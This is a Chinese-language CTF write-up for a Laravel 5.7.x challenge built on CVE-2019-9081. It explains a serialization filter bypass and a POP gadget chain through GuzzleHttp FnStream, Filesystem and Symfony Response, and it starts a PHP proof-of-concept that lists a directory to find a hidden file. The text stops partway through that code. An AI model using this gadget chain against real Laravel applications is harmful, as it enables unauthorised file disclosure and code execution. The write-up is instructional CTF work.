ez_larave1
考察的是Laravel的CVE-2019-9081,影响版本为5.7.x
get到一个新工具:BeyondCompare,用来比较文件差异的,可以比较方便的看出他做了哪些开发
把5.7.x的源码下载下来,比较一下,发现序列化!
有个小绕过,在serialize后随便加一点东西就可以了,比如serializeabc
与网上的poc不同,他的路由命名为hello了,在hello路由下可以执行反序列化
在网上找到的cve复现,看到漏洞是在PendingCommand.php出现的,跑去看看
果然有信息
要读取到这个key,才能进行下一步的操作,得用原生类
下面来构造第一个poc
我们的目的是找出这个.axxx.txt的完整的文件名
在Filesystem这个类里面使用了FilesystemIterator迭代器遍历目录,会把参数里的目录全遍历出来
这样的话我们反序列化的时候去触发这个__toString()方法把参数传进去来遍历当前的目录,就可以遍历到.axxxx.txt了
当触发了__toString方法后就会返回文件名,那我们就得找一个能把他回显出来的东西
在vendor/symfony/http-foundation里面有个Response.php,这里面有一个方法sendContent
这个方法就会打印出content
析构方法
所以我们可以这样构造一个析构方法,因为前面说了触发了__toSring后会返回文件名
所以我们让:content的值=这个返回的文件名,再去**触发这个sentContent()**就可以把文件名给回显出来了
在原来的cve中,命令的执行会发生在PendingCommand.php的__destruct()里面
但是这题他把&this->run()删除了,那我们就得另寻他路来执行到PendingCommand.php中的run()这个函数了
看wp知道,预期解里面__destrusct()入口在FnStream.php里面,有个call_user_func()
这里原来是不能反序列化的,出题人注释掉了限制__wakeup()所以这里是可以执行命令的
但是这里是有个问题的,这个call_user_func()
只能传入一个参数,那么我们就要考虑利用pop链让他执行某个类内部的方法
至于怎么调用类内部的方法:给这个函数传入一个数组,第一个值是你想调用的类的实例,第二个值是那个类对应的某个方法名
由于他只会执行$_fn_close,那我们就可以直接定义好$_fn_close进行变量的覆盖,让我们
所以我们大概需要的东西就已经齐全了,屡一下思路
- 实例化Filesystem,想办法去触发__toString()方法利用里面的FilesystemIterator原生类
- 实例化Response类,把实例化Filesystem的对象作为字符串传给Response赋值给content
- 利用FnStream来执行Response里面的
sendContent方法
,回显出文件名
poc1
<?php
use Psr\Http\Message\StreamInterface;
namespace GuzzleHttp\Psr7{
class FnStream {
private $methods;
private static $slots = ['__toString', 'close', 'detach', 'rewind',
'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
'isReadable', 'read', 'getContents', 'getMetadata'];
public $_fn_close;
public function __construct($obj){
$this->_fn_close = $obj;
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}
namespace Symfony\Component\HttpFoundation{
class Response{
public $content;
public function __construct($obj)
{
$this->content = $obj;
}
public function sendContent(){
echo $this->content;
return $this;
}